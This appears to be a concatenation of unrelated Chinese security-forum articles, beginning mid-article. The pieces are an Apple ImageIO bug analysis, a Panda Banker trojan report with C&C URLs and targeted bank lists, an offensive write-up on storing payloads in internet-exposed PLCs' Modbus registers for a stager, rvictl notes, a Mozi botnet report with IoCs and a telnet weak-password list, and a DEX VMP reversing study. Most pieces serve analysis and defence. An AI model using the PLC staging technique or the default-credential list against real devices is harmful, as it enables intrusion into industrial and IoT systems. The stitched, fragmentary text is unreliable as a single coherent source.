一个攻击者可以构造负数的高度和长度，bypass掉对filesize的比较，造成后续内存越界访问。一般来讲攻击者可以通过手动构造图片输入流/hook进行发送，或者通过app服务自身提供的web服务来进行发送。前面提到过ImageIO解析图片的时候并不是通过判断扩展名来进行的，通过这个特性我们可以同样bypass一些web图片上传界面的过滤，将恶意图片成功发送到对方设备上，粗发漏洞。
相对来讲稍微令人诧异的是苹果的修复。补丁并没有打在size比较这里，而是打在了IIOReadPlugin这里。在补丁之前，IIOReadPlugin的关键代码如下所示：
bool __fastcall IIOReadPlugin::IIOReadPlugin(IIOReadPlugin *a1, __int64 a2, int a3, int a4, __int64 a5, unsigned __int8 a6)
{
unsigned __int8 v6; // r14@1
IIOReadPlugin *this; // rbx@1
__int64 v8; // rax@1
__int64 sessionwrap; // rdi@1
IIOImageReadSession *session; // rax@2
IIOImageRead *v11; // rdi@2
__int64 v12; // rax@2
__int64 *v13; // rcx@5
__int64 v14; // rdx@5
bool result; // al@5
v6 = a6;
this = a1;
a1->vt = (__int64)off_1659D0;
a1->field_8 = a2;
v8 = *(_QWORD *)(a2 + 24);
a1->field_10 = v8;
a1->field_38 = a3;
a1->field_3c = a4;
a1->field_30 = a5;
sessionwrap = *(_QWORD *)(v8 + 24);
if ( sessionwrap )
{
session = (IIOImageReadSession *)CGImageReadSessionGetSession(sessionwrap); //session is invalid
this->session = session;
v11 = (IIOImageRead *)session->imageread; //oob happens here and lead to crash
LOBYTE(session) = v11->field_40;
this->field_20 = (__int64)v11;
this->field_c8 = (char)session;
v12 = 0LL;
if ( v11 )
v12 = IIOImageRead::getSize(v11);
}
else
{
this->field_20 = 0LL;
this->session = 0LL;
this->field_c8 = 1;
v12 = 0LL;
}
在10.12.4中，if分支语句变成了如下所示:
a1->field_8 = cgimgplus;
imageplus = CGImagePlusGetIPlus(cgimgplus);
a1->field_10 = imageplus;
a1->field_38 = v9;
a1->field_3c = v8;
a1->field_30 = v7;
v12 = *(_QWORD *)(imageplus + 32);
a1->field_18 = v12;
imageread = *(IIOImageRead **)(v12 + 32);
if ( imageread )
{
v10->field_c8 = *((_BYTE *)imageread + 64);
v10->field_20 = (__int64)imageread;
v14 = IIOImageRead::getSize(imageread);
}
else
{
v10->field_c8 = 0;
v10->field_20 = 0LL;
v14 = 0LL;
}
IIOImageReadSession的使用在这里被移除了。这是否从根源上解决了问题？让我们拭目以待。
## 对开发者和用户的建议
对于想自行防御这个问题的开发者来说（毕竟有很多用户没有升级到最新版，锅还是会被他们扣在开发者头上），我建议在图片显示前先自行检查下GIF宽度和高度。
对于终端用户来讲，当然升级系统是最好的办法了。
## Timeline
* 2017.1.10 Initial discovery
* 2017.1.16 Report to Apple
* 2017.1.24 Apple responds on they are working on a fix
* 2017.3.23 CVE-2017-2416 assigned
* 2017.3.28 Advisory published at https://support.apple.com/zh-cn/HT207617
* 2017.4.6 Public disclosure
* * * | 社区文章 |
# Panda Banker: 新型的银行木马
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
原文地址：<https://www.proofpoint.com/us/threat-insight/post/panda-banker-new-banking-trojan-hits-the-market>
译文仅供参考，具体内容表达以及含义原文为准。
概述
从2007年开始,Zeus银行木马已经演变出了很多不同的变种版本,攻击者已经利用这些木马病毒成功地窃取了数百万美元的非法资金,而且还在大量存在漏洞的个人计算机中安装了各种恶意软件。现在,Proofpoint的安全研究专家们正在追踪一种新型的银行木马。而且我们发现,攻击者可以利用这个名为“Panda
Banker”的恶意软件,并通过恶意电子邮件附件来对目标用户实施攻击。除此之外,我们还发现攻击者在至少三种不同的漏洞利用工具帮助下,还可以进行大范围的攻击。在对这个木马病毒进行了分析之后,安全研究人员还在木马的配置文件中发现了针对澳大利亚银行和英国银行的恶意注入Payload。
根据Fox-IT的情报部门所提供的信息,安全研究人员在今年的二月份首次发现了这个恶意软件,并且将其命名为“Panda
Banker”。接下来,我们会在这篇报告中公布我们针对Panda Banker的分析结果,并且详细描述该木马的运行机制。
分析信息
“Gert.exe ”电子邮件活动
在3月10日,我们检测到了一封带有微软Word文档附件(SHA:
bdc912caf9b9e078bc7bd331deacae9c460c8e8893442048b9474790c52e1ab9)的恶意电子邮件,这封恶意邮件利用了漏洞[CVE-2014-1761](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2014-1761)[和CVE-2012-0158](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=cve-2012-0158)。攻击者将这封恶意邮件发送给了那些在大众媒体和制造公司工作的职员。如果攻击者能够成功利用目标系统中的漏洞,那么这一恶意电子邮件将会从地址:78.128.92[.]31/gert.exe
下载“Panda Banker”。值得注意的是,研究人员此前还发现过有攻击者曾利用这一子网地址进行过其它类型的攻击活动。
上图显示的是邮件附件中的恶意代码,这段代码将会下载gert.exe。
“Panda.dat”电子邮件活动
在3月19日,我们检测到了一封带有微软Word文件附件(SHA:
6dc0bd77e51eb9af143c749539bd638020d557083479bcd4c4b9639fe61eb0f8)的恶意电子邮件,而且这个Word文档还使用了Xbagging(别名为Bartallex,)下载器。攻击者仅仅将这封电子邮件发送给了少数几家金融机构中的部分员工。恶意文件将会在目标用户的计算机中下载“GODZILLA”加载器(这只是攻击者需要使用到的一个中间工具),然后这个加载器就会自动从远程服务器中下载Panda
Banker银行木马。
上图显示的是嵌入了恶意宏的Word文档,其中的恶意代码会下载中间工具,然后加载器便会下载Panda Banker。
传播Panda Banker的漏洞利用工具
从三月份开始,我们就注意到了至少三种不同的漏洞利用工具(例如Angler EK,Nuclear EK,以及Neutrino
EK),关键之处就在于这些EK工具会传播Panda Banker银行木马。根据安全研究人员的分析结果显示,攻击人员在向澳大利亚和英国等地区传播Panda
Banker的恶意Payload时,还使用到了基于地理位置信息的过滤器。
在2016年3月15日,安全研究人员在英国地区发现了正在传播Panda Banker的Nuclear EK(服务器信息:C&C
alwaysonline[.]pw),具体信息如上图所示。
在2016年4月19日,安全研究人员在澳大利亚地区发现了正在传播Panda Banker的Angler EK(服务器信息:C&C
secpressnetwork[.]com),具体信息如上图所示。
2016年4月19日,Nuclear EK在澳大利亚地区传播Panda Banker时的相关信息如上图所示。
配置信息
该木马会创建并启动svchost进程的两个实例,第一个进程可以从C&C服务器发送并接收远程控制命令。目标系统中的恶意软件会将目标主机的各种信息发送至远程服务器中,包括系统运行时间,恶意软件注入的进程信息,当前用户的名称,识别感染对象的ID,僵尸网络的名称,僵尸网络的版本(当前为2.1.3),操作系统的版本信息,网络延迟,本地时间,计算机名称,反病毒软件的名称,反间谍软件的名称,以及系统安装的防火墙信息等等。恶意软件会将上述所有的信息全部发送至由攻击者控制的远程服务器中。
服务器在接收到了相应的信息之后,会以经过混淆处理的JSON格式数据来进行响应。响应信息中会包含几个URL地址,恶意软件将会利用这些URL地址下载攻击模块,配置文件,以及相应的配置命令。恶意软件下载的模块包括一个VNC服务器模块(32位或64位)和SOCKS。我们在下面的截图中列出了大部分的配置命令:
上图显示的是从远程C&C服务器返回的部分Panda Banker配置命令。
我们可以从上图中看到,攻击者使用了base64编码来对部分配置命令进行了编码处理。我们观察到web过滤器使用了下列数据:
!*localhost* !*.microsoft.com/* !http://* !http://*myspace.com*
!*facebook.com/ajax/* !*plus.googleapis.com* !*apps.facebook.com*
!*twitter.com/i/jot* !*google.com/chat/* !*googleusercontent.com*
!*pipe.skype.com*
除此之外,我们还在针对澳大利亚和英国银行的木马版本中发现了下列数据:
“vnc” bonet:
http*://*boq.com.au*
https://online.tsb.co.uk/personal/logon/login.jsp
“kan” botnet:
https://*online.tsb.co.uk/personal/*
https://*santander.co.uk*
https://*online.lloydsbank.co.uk/personal/*
https://*secure.lloydsbank.co.uk/personal/*
https://www.halifax-online.co.uk/personal/*
https://*secure.halifax-online.co.uk/personal/*
https://www.bankofscotland.co.uk/personal/*
https://*bankofscotland.co.uk/personal/*
https://*secure.tsb.co.uk/personal/*
请注意,配置文件还有可能包含有例如“webinject1data”,“webinject2data”,以及“webinject3data”等命令,而每一个命令针对的都是不同的银行。在对这些参数的值进行解码(base64)处理之后,我们发现这是一个
JavaScript文件。这个JS脚本中包含一些静态代码,而且还可以从恶意软件的控制面板中获取额外的动态代码。
技术细节
通过动态分析,我们发现了这个银行木马与Zeus银行木马的相似之处。比如说,Panda
Banker银行木马创建出的互斥量,文件,文件夹,以及注册表键等信息与Zeus银行木马所创建出来的是相似的。因此,我们怀疑这个恶意软件的代码是直接从Zeus银行木马中抄袭过来的。
我们可以从上面这张截图中看到,这两款木马所创建出的互斥量是非常相似的,沙盒的分析数据也是如此。
如上图所示,Panda Banker和Zeus这两个银行木马所创建的注册表键也是非常相似的。
我们可以从上图中看到,沙箱检测结果显示,这两款银行木马所使用的网络API也是十分相似的。
上图显示的是该恶意软件的持久化机制。
上图显示的是C&C服务器的POST请求示例
恶意软件用于与C&C服务器进行通信的URL地址模式如下:
hxxp://gettort1[.]net/ZrBYsL/496A20B/3/C8D72F43/5/6/C54353D/29/4/4/C80
hxxp://gettort1[.]net/P3zfw/4/32B/188C/CC/CB464B/72EB602/CF280798/9/
hxxp://denoted-chioces[.]com/uXC/5A805F448DE/3F5C048/7/185/49/0689FE1A
hxxp://denoted-chioces[.]com/jnE8/45B65/90/9BFCEC/5A0616A/98/3219/BFF8/5/7
hxxp://denoted-chioces[.]com/6URi/198D4E58/E/3F5D2F13D518F/6345/84EF06
hxxp://denoted-chioces[.]com/yyrqM3kquh/5/6A16E40989/3/EBE97E6CA4/7301A/0F05C
hxxp://denoted-chioces[.]com/Ya/76B945508CC1/D9F/952/6584/6B/2AB0E40E
hxxp://denoted-chioces[.]com/vuV2W/5/9A/D4A0382D6F5CE3953AB7F/25E/3EA1/9
hxxp://eajaxe1995[.]top/G5Eix9r/5/1C8/1BCE/8650D/2D7/5/0425715/6D7055/4/3
hxxp://eajaxe1995[.]top/oepnda7gtr/7/9982EC99A0897F7117/551082/46C76/17
hxxp://eajaxe1995[.]top/PFE/4/6BB1BF7B8/2/CF0D62/05/778280444/57/26
在Panda
Banker银行木马所使用的C&C服务器中,有些服务器使用了快速动态解析的DNS服务,而且同一恶意域名下还绑定了大量不同的IP地址,这就使得安全人员很难对这些恶意站点进行跟踪和分析。
自动传输系统(ATS)和控制面板
自动传输系统(ATS)是银行在网上银行平台中所使用的一种能够对资金交易流程进行自动处理的系统,例如转账操作等等。而Panda
Banker木马可以利用这个系统来对银行的内部系统进行注入攻击。具体信息如下图所示:
Panda Banker会使用一个独立的页面来作为它的控制面板,如下图所示:
结论
例如Zeus,Dyre,Tinba,以及Dridex等银行木马已经帮助网络犯罪分子成功窃取了数十亿美金了。在大多数情况下,这些恶意软件可以帮助攻击者窃取银行的凭证信息,并且进行欺诈交易。除此之外,安全研究人员还发现,这种类型的木马病毒还可以在目标用户的计算机中安装勒索软件。而且网络犯罪分子还对这些木马病毒进行了改进,他们不仅会利用改进后的恶意软件来窃取工业控制系统的凭证,而且还会对除银行以外的组织和机构进行攻击。
这并没有什么好奇怪的,就安全人员所发现的这个新型银行木马来看,这些木马病毒已经具备了非常完整的信息窃取机制了。与很多现代银行木马一样,Panda
Banker与Zeus银行木马有着非常密切的关系,这也就意味着,Panda Banker也有着自己的持久化机制,而且攻击者也可以利用Panda
Banker来进行大范围的攻击。
Proofpoint将会继续对这一新型的木马病毒进行跟踪,在安全分析人员得了到进一步的研究结果之后,我们会在第一时间将结果呈现给大家。
参考资料
[https://www.proofpoint.com/us/threat-insight/post/carbanak-cybercrime-group-targets-executives-of-financial-organizations-in-middle-east](https://www.proofpoint.com/us/threat-insight/post/carbanak-cybercrime-group-targets-executives-of-financial-organizations-in-middle-east)
[https://www.proofpoint.com/us/threat-insight/post/Dyreza-Campaigners-Sights-On-Fulfillment-Warehousing-Industry](https://www.proofpoint.com/us/threat-insight/post/Dyreza-Campaigners-Sights-On-Fulfillment-Warehousing-Industry)
[http://www.kernelmode.info/forum/viewtopic.php?f=16&t=4327](http://www.kernelmode.info/forum/viewtopic.php?f=16&t=4327)
[https://www.fox-it.com/intell/](https://www.fox-it.com/intell/)
入侵指标(IOC) | 社区文章 |
# 【技术分享】使用PLC作为payload/shellcode分发系统（含演示视频）
|
##### 译文声明
本文是翻译文章，文章来源：shelliscoming.com
原文地址：<http://www.shelliscoming.com/2016/12/modbus-stager-using-plcs-as.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
**翻译：**[ **shan66**
****](http://bobao.360.cn/member/contribute?uid=2522399780)
**预估稿费：180RMB（不服你也来投稿啊！）**
******投稿方式：发送邮件至**[ **linwei#360.cn**](mailto:[email protected]) **，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿******
**前言**
这个周末，我一直在鼓捣Modbus，并利用汇编语言开发了一个[stager](https://github.com/BorjaMerino/PlcInjector/blob/master/stager/block_recv_modbus.asm)，它可以从PLC的保持寄存器中下载payload。由于有大量的PLC都暴露在互联网上，我情不自禁地想到，是否可以利用它们提供的处理能力和内存来存储某些payload，以便以后（从stager）下载它们。
所以，我们不妨考虑下面的场景：
1\. 攻击者从互联网上寻找一个具有足够的空间来存储payload的PLC。实际上，带有几十KB内存的Modbus设备是很容易找到的。
2\. 攻击者将payload上传到PLC的内存。
3\. 攻击者用dropper感染一个主机，然后利用stager与Modbus进行“交流”，从PLC中下载并执行该stage。
**采用PLC保持寄存器存储Payload的优点**
由于使用了第三方PLC，所以具有很好的匿名性，跟踪的难度非常大。无需将payload上传到服务器。
由于payload存放在PLC的内存中，所以加大了取证分析的难度。此外，一旦payload被取出，其内容可以被容易地覆盖（甚至stager自身就能做到这一点）。
此外，我认为Modbus Stager在某些ICS环境中也是非常有用的，因为这些环境下Modbus之外的协议会引起人们的警觉，并且[WinHTTP /
WinInet](https://github.com/rapid7/metasploit-framework/wiki/The-ins-and-outs-of-HTTP-and-HTTPS-communications-in-Meterpreter-and-Metasploit-Stagers)
stager也不是最适用的。所以，在这种情况下，你只需要一个Modbus处理程序或者只是使用一个仿真器，在stager连接它时，由其提供stage即可。此外我们还发现，许多网络上都有可以远程管理的Modbus设备，所以它们也是这种stager的用武之地。
重要说明：请不要对任何第三方PLC执行这些操作。PLC寄存器上的任何写操作都可能毁坏原来的过程控制策略。
**活跃在互联网上采用 Modbus协议的PLC数量**
为了弄清楚暴露在互联网中、使用Modbus协议的PLC的数量，我使用[Censys
API](https://censys.io/)写了一个[小脚本](https://github.com/BorjaMerino/PlcInjector/blob/master/plcModbusDownload.py)。如果你的网卡性能不错的话，你可以利用[masscan](https://github.com/robertdavidgraham/masscan)或[Zmap](https://github.com/zmap/zmap)等工具来扫描互联网，寻找在502端口上运行Modbus协议的设备。
从以下输出可以看出，至少有5500个PLC可供利用。
在这些IP中，许多只是些蜜罐，[这很容易看出来](https://www.youtube.com/watch?v=HiZdkBAFp7Q)；例如，Conpot以及托管在云服务中的其他服务。就本文来说，即使蜜罐也无所谓，只要它们的内存足够大就行了。
**如何将Payload上传至PLC保持寄存器**
好了，为了将payload上传到PLC中，我编写了一个名为[plcInjectPayload.py](https://github.com/BorjaMerino/PlcInjector/blob/master/plcInjectPayload.py)的python脚本。根据加载的控制策略的不同，对PLC可用内存大小的要求也有所变化，因此该脚本首先检查它们是否有足够的内存空间来存放相应的payload。为了检测内存的大小，可以发送操作ID为03（读取保持寄存器）的Modbus请求，尝试从某个地址读取特定记录（每个记录长度为16比特）。如果收到一个0x83异常，那么说明这个PLC对于我们来说是无法使用的。
要上传payload，请使用-upload选项，具体如下所示。该选项允许使用参数-addr规定起始地址，也就是说，从这个保持寄存器编号（如果未指定，则为地址0）开始加载payload。
如果payload的字节数为奇数，就需要用“0x90”来进行填充，以避免在读取时出现一些问题。在前面的示例中，大小为1536字节;
为了检查加载操作是否成功，我们可以利用选项-download从地址0处下载同样数量的字节。
很明显，该脚本不仅可以上传payload，实际上还可以上传任何类型的文件。所以，我们觉得这是一个泄露和共享信息的有趣方法。设想一下，有谁会怀疑某个公共PLC的保存寄存器会存有.docx或.zip文件呢？
需要格外注意的是，存放payload的记录可能会被PLC所改变。由于我们不清楚PLC I /
O及其过程控制策略，所以需要寻找一个通常不会被修改到的内存范围。为此，我们可以将payload加载到某个范围，然后在一段时间内，payload经多次检查未发现任何变化的话，这就是我们要找的内存区域。为了达到这个目的，我们可以借助于plcInjectPayload.py以及另外几个bash指令即可。
**在受控主机中读取PLC中存储的Payload**
payload上传到PLC之后，还必须从受害者的计算机中读取它。为此，我建立了一个基于Modbus协议的stager;它的大小还不到500字节（我会设法让它变得更小）。其中，它的reverse_tcp和block_api代码取自Metasploit（<https://github.com/rapid7/metasploit-framework/tree/master/external/source/shellcode/windows/x86/src/block>）。下图展示的是[block_recv_modbus.asm](https://github.com/BorjaMerino/PlcInjector/blob/master/stager/block_recv_modbus.asm)的asm代码，它的一部分职责是通过Modbus协议获取payload。因此，这段代码需要通过Modbus协议与PLC通信，以下相应的payload。这里的代码会利用前4个字节来了解该stage大小，并通过VirtualAlloc分配必要的内存。然后，通过不断发送“read
holding”请求（功能代码03）来获取payload。根据协议规定，对于每个读请求，PLC最多可以返回250个字节（125个保持寄存器），因此，stager可以以它为单位，逐步下载payload。
**实例解析**
下面我们来看一个实际的例子。最近，我在[www.exploit-db.com](http://www.exploit-db.com)网站上发现一个[用于Windows系统的键盘记录shellcode](https://www.exploit-db.com/exploits/39794/)，大小只有600字节；虽然它的尺寸很小，但是对于一个只有几个MODBUS请求（记住，每个请求的最大字节数为250字节）的POC来说已经足够了。shellcode在执行后，会把按键敲击动作写入到用户的％TEMP％目录下的“log.bin”文件中。
因此，我们首先把该payload放到一个二进制文件中，并在它的前面放上其长度，这里是以小端字节表示的长度（4字节）。
现在，让我们从地址0开始将其上传到PLC：
这个stager一旦运行，就会通过3个请求下载该payload：250 + 250 + 102 = 602字节。下图详细描述了Modbus通信过程。
下图展示了Wireshark对上述通信过程的跟踪情况。进程监视器窗口表明，该stage在成功运行（检查log.bin文件就能看到保存的击键）
我已经通过[Modbus仿真器](http://modbuspal.sourceforge.net/)和实际PLC对这个代码进行了验证，结果一切正常，但是如前所述，我认为该shellcode还可以进一步优化。为了进行第一个测试，我在python（[plcModbusHandler.py](https://github.com/BorjaMerino/PlcInjector/blob/master/plcModbusHandler.py)）中创建了一个Modbus处理程序，用来把该payload发送给stager。
我正在设法把这个处理程序移植到Metasploit。更多详情，请观看下面的视频。
**演示视频**
**** | 社区文章 |
## 作者：天才小三斤
命令介绍
-l , -L 查看添加设备的列表
-s , -S 添加设备
-x , -X 移除设备
使用说明
**添加设备**
# 必须通过 usb 和 手机相连
# UDID 可以通过 iTunes 获取到
rvictl -s c32c775e43ed1fde9b5f475db6299062eb9911f3
**查看设备**
rvictl -l
**ifconfig**
设备一般 rvi 开头
**移除设备**
# UDID
rvictl -x c32c775e43ed1fde9b5f475db6299062eb9911f3
**监听** | 社区文章 |
# 关于 Mozi 僵尸网络近期活跃态势报告
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x01 概述
近期，360安全大脑的360安全分析响应平台在区域侧监测到 `Mozi` 僵尸网络的活动频繁，呈愈演愈烈的趋势。
`Mozi` 是一个相对较新的物联网僵尸网络，以 `DHT` 协议建立 `P2P`
网络进行通信，主要通过漏洞利用和`telnet`弱口令两种方式进行蠕虫式传播。2019年9月`360Netlab`团队捕获到相关样本，并于19年12月首次公布。
据悉该恶意软件自2019年底以来一直处于活跃状态，在`360Netlab`监测发现2020年9月11日扫描流量激增。根据`IBM
X-Force`威胁情报中心统计的数据表明，`Mozi` 占观察到的IoT网络流量近90%。
## 0x02 Mozi 样本简述
`Mozi
Botnet`依赖`DHT`协议建立一个`P2P`网络，通过`ECDSA384`以及`xor`算法保证自身组件和`P2P`网络的完整性和安全性。样本通过一些已知的漏洞利用和`telnet`弱口令蠕虫式传播。
### 2.1 Mozi 样本行为说明
1. `Mozi`在成功感染目标之后，会使用`iptable`将`SSH`、`Telnet`阻断，以防止被其他人入侵
2. 然后会对特定的端口进行放行，确保自身的通信
3. 并通过`prctl`来更改进程名为sshd或者dropbear来迷惑受害者
4. 然后通过`DHT`协议建立`P2P`网络后，同步`config`文件，根据`config`文件里的指令，开始相应的任务
### 2.2 命令执行指令列表
5. `DDoS`攻击
6. 收集`Bot`信息
7. 执行指定`URL`的`payload`
8. 从指定的`URL`更新样本
9. 执行系统或自定义命令
### 2.3 已知漏洞列表（Mozi多使用IoT设备远程命令执行Nday进行攻击）
产品名 | 漏洞
---|---
Eir D1000 Router | Eir D1000 Wireless Router RC I
Vacron NVR devices | Vacron NVR RCE
Devices using the Realtek SDK | CVE-2014-8361
Netgear R7000 and R6400 | Netgear cig-bin Command Injection
DGN1000 Netgear routers | Netgear setup.cgi unauthenticated RCE
MVPower DVR | JAWS Webserver unauthenticated shell command execution
Huawei Router HG532 | CVE-2017-17215
D-Link Devices | HNAP SoapAction-Header Command Execution
GPON Routers | CVE-2018-10561, CVE-2018-10562
D-Link Devices | UPnP SOAP TelnetD Command Execution
CCTV DVR | CCTV/DVR Remote Code Execution
_注：Mozi 样本详细分析见[360Netlab报告 P2P-Botnet :
Mozi分析报告](https://blog.netlab.360.com/p2p-botnet-mozi/)_
## 0x03 Mozi 态势解析
通过我们持续监测和测绘发现在2020年9月11日左右`Mozi`僵尸网络扫描量激增，最大扫描源自印度和国内。
### 3.1 360蜜网监测
蜜网监测 `Mozi` 僵尸网络扫描趋势
通过对`30`天`Mozi`僵尸网络独立IP的累计统计，`Mozi`僵尸网络最多的分布也是在国内和印度
_注：图片来自于360NetLab_
### 3.2 360区域安全大脑监测
某区域被`Mozi`僵尸网络描趋势(2020年9月21-至今)
`Mozi` 全球通信分布饼图
_注：图片来自于360安全分析响应平台_
### 3.3 360全网资产测绘平台监测
`Mozi`僵尸网络利用的产品在全球均有广泛使用，360安全大脑-Quake网络空间测绘系统通过对全网资产测绘，受影响产品(见2-3已知漏洞列表)分布如下图所示。独立`IP`数为`825011`。
全球情况
国内情况
_注：图中数量为累计数量，来自于360安全大脑的QUAKE资产测绘平台_
## 0x04 防范措施
### 4.1 IoCs
`Mozi`使用8组公共节点以及`Config`文件的[nd]字段指定的节点作为`bootstrap nodes`。引导新节点加入其`DHT`网络
样本内嵌公共节点如下，若设备存在与列表IoC通联情况即可能失陷。
dht[.]transmissionbt[.]com:6881
router[.]bittorrent[.]com:6881
router[.]utorrent[.]com:6881
bttracker[.]debian[.]org:6881
212[.]129[.]33[.]59:6881
82[.]221[.]103[.]244:6881
130[.]239[.]18[.]159:6881
87[.]98[.]162[.]88:6881
### 4.2 Telnet 弱口令列表
Mozi 僵尸网络Telnet 使用弱口令列表如下 或者
[附件Mozi_telnet弱口令下载](https://cert.360.cn/workflow/file/download/5f86e4c2127d15004c231e1e)
| | |
---|---|---|---
root | admin1 | h@32LuyD | smcadmin
admin | administrator | gw1admin | 1234
CUAdmin | 666666 | adminpass | klv123
default | 888888 | xmhdipc | klv1234
rapport | ubnt | juantech | zte
super | tech | @HuaweiHgw | jvbzd
telnetadmin | xc3511 | adminHW | anko
!!Huawei | vizxv | 2010vesta | zlxx
keomeo | Pon521 | 2011vesta | 7ujMko0vizxv
support | e2008jl | plumeria0077 | 7ujMko0admin
CMCCAdmin | r@p8p0r+ | cat1029 | system
e8telnet | GM8182 | 123456 | ikwb
e8ehome1 | gpon | 54321 | dreambox
e8ehome | Zte521 | hi3518 | realtek
user | hg2x0 | password | 0
mother | epicrouter | 12345 | 1111111
Administrator | conexant | fucker | meinsm
service | xJ4pCYeW | pass
supervisor | v2mprt | admin1234
guest | PhrQjGzk | 1111
## 0x05 产品侧解决方案
### 5.1 360 安全分析响应平台
360区域大脑的安全分析响应平台借助智能关联分析引擎，将各数据孤岛中的信息进行综合理解与场景化分析，为Mozi
僵⼫⽹络的专项任务提供服务。请⽤户联系相关产品区域负责⼈或(shaoyulong#360.cn)获取对应产品。
### 5.2 360 QUAKE资产测绘平台
360安全大脑的QUAKE资产测绘平台(quake.360.cn)通过资产测绘技术手段，对该类漏洞进行监测，请用户联系相关产品区域负责人或(quake#360.cn)获取对应产品。
## 0x06 时间线
**2019-09-03** 360Netlab 首次捕获到 Mozi 样本
**2019-12-23** 360Netlab 首次公布 Mozi 僵尸网络分析报告
**2020-09-22** 360安全大脑—安全分析响应平台持续监测到活跃
**2020-10-15** 360-CERT 发布 Mozi 僵尸网络态势报告
## 0x07 参考链接
1. <https://blog.netlab.360.com/p2p-botnet-mozi/>
2. <https://securityaffairs.co/wordpress/108537/malware/mozi-botnet-iot-traffic.html>
3. <https://securityintelligence.com/posts/botnet-attack-mozi-mozied-into-town/>
4. <https://www.microsoft.com/security/blog/2020/10/12/trickbot-disrupted/>
5. <https://blogs.microsoft.com/on-the-issues/2020/03/10/necurs-botnet-cyber-crime-disrupt/>
6. <https://finance.sina.com.cn/tech/2020-10-12/doc-iiznctkc5171878.shtml>
7. <https://cert.360.cn/warning/detail?id=95110cde8635056292e62424b9da1842>
8. <https://paper.seebug.org/1347/>
9. <https://www.internet-sicherheit.de/research/botnetze/iot-botnetze/mozi/>
10. <https://securityintelligence.com/posts/botnet-attack-mozi-mozied-into-town/> | 社区文章 |
# 某DEX_VMP安全分析与还原
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 目录:
> 一.思路整理
> 二.某VMP入口特征
> 三.定位VMP字节码
> 四.分割VMP字节码
> 五.还原为SMALI
> 六.某VMP攻击面总结 && 启示
> 七.深入VMP还原的一些问题
> 八.调试与工具总结
## 一.思路整理
### 还原VMP需要哪些铺垫?
> (1)定位VMP字节码
> (2)分割VMP字节码
> (3)还原成SMALI
**(1)为什么要找VMP字节码的位置?**
> 因为如果目标方法的字节码地址,都找不到,还原也就没法展开了.
**(2)为什么要分割VMP字节码?**
> 如果要反汇编成smali,
> 起码要知道这条smali对应的字节码一共几个字节.
>
> 在确定一条指令占几个字节后,
> 还要知道这几个字节中,
> 谁是操作码,谁是操作数.
**(3)还原为SMALI**
> 有了前两步铺垫,最终我们可以解读一条完整的smali的含义.
## 二.某安卓VMP入口特征(2021.8月样本)
> 跳板方法
> 进入native后的参数处理逻辑
> 为了处理不同类型的返回值, 定义了多个jni方法
> 对应jni函数入口指令情况
## 三.定位VMP字节码
### 逻辑
> 根据上述逻辑,则一定存在函数F,向F输入index可得到对应codeitem_addr
> F(index) == codeitem_addr
>
> 我们看一下这个函数,从index到codeitem_addr的过程
> (0x2dce->0xcac85880)
### 如何在十几万数量级的汇编中定位到这段代码的?
> 通过Trace记录REG信息,
> 用到了两个关键数值,0x2dce(index)与0xcac85880(codeitems),
> 标记两个数值出现的中间区间即可.
### 展开上面的定位方式的两个前提条件:
> 我们已经有了关键数据0x2dce,但还需要知道另一个提前条件,
> 即codeitem是0xcac85880,所以这个信息是从哪得知的?
> 这里是本章的关键.
### 如何分析出codeitem的地址是0xcac85880?
> (1) 已知明文
> (2) 沙箱日志获取切入点
> (3) JNI参数回溯
> (4) 内存访问统计
**(1)已知明文**
> 目标APP内很多的onCreate()方法,其内部普遍调用了,
> NBSTraceEngine.startTracing();以及super.onCreate()
> 我们选一个被vmp保护了的onCreate()作为分析目标, ZxWebViewActivity.onCreate()
>
**(2) 沙箱日志获取切入点**
> ①
> ZxWebViewActivity.onCreate内必定存在NBSTraceEngine.startTracing();以及super.onCreate()
> ② startTracing为静态方法,会被编译器编译为invoke-static
> ③ super.onCreate()为超类调用,会被编译器编译为invoke-super
> ④我们猜测vmp对invoke-static模拟实现借助了JNI函数,
> 所以我们触发ZxWebViewActivity.onCreate()执行,截取其调用序列,效果如下:
> 大致逻辑为
**(3) JNI参数startTracing来源回溯**
> 我们在trace中找到这条GetStaticMethodID()的出现位置,
> 然后作为起点向上展开回溯,希望找到其参数”startTracing”的最早出处,
> 如果有自动化的脚本和条件可进行污点分析,由于逻辑不是很复杂,这里人工回溯完成.
> 具体过程省略……
> 在trace中对参数”startTracing”来源进行一番回溯,
> 最终发现了一个起到决定性作用的偏移值0x000081de.
> 可以简单理解成,它以base+0x000081de的形式确立的参数”startTracing”.
>
> 结论:
> 如果0x000081de是那个起到决定性意义的数值,
> 那么毫无疑问0x000081de来自codeitem.
>
> 在trace中找到0x81de的出现位置,
> 发现它来自于内存位置0xcac858a8.
**(4) 内存访问统计**
> 0x81de来自0xcac858a8,
> 由于这个地址可能是codeitem,
> 因此我们检索一下,trace中对这片内存区域的访问情况
> 0xcac858a8取前5个高位,忽略后3个地位,即检索对0xcac85???的访问
> 找到19条指令, 而对0xcac85???的访问,最早的第一条指令,出现在编号5691的位置,
> 对应的内存地址为0xcac85890,说明这里是ZxWebViewActivity.onCreate()第一条字节码.
>
> 由于codeitem第一条字节码之前0x10个字节还存在一些固定内容,
> 所以0xcac85890-0x10取得codeitem地址0xcac85880,
> 即codeitem的地址是0xcac85880
## 四.分割VMP字节码
> 现在已经有了某厂vmp codeitems全部内容,
> 但是还没法反汇编成smali,
>
> 因为还不知道,
> 第一条指令一共占几个字节,
> 第二条指令一共占几个字节,
> 依次……
>
> dalvik指令是不等长,
> 反汇编成smali的话,
> 起码要知道这条smali对应的字节码一共几个字节
> 在知道了每条指令占几个字节后,
> 还要知道这几个字节中,
> 谁是操作码,谁是操作数.
### 通过观察codeitem的内存段的读取情况,可以达到这个目的
### 如何快速区分出操作码和操作数?
> 一般opcode后面会有一个EOR解密指令,
> 以及一串类似定位handle的CMP指令操作,
> 而operand没有,这就为区分opcode和operand提供了特征依据.
>
### opcode解密逻辑?
> 由eor指令向上回key出现的位置,
> 即可确定key的来源,
> 以及解密逻辑.
>
> 大致逻辑:
> off1 = sub( codeitem当前指令地址, codeitem基址 )
> off2 = lsl( off1, 1)
> key = load( base + off2 )
> de_opcode = xor(en_opcode, key)
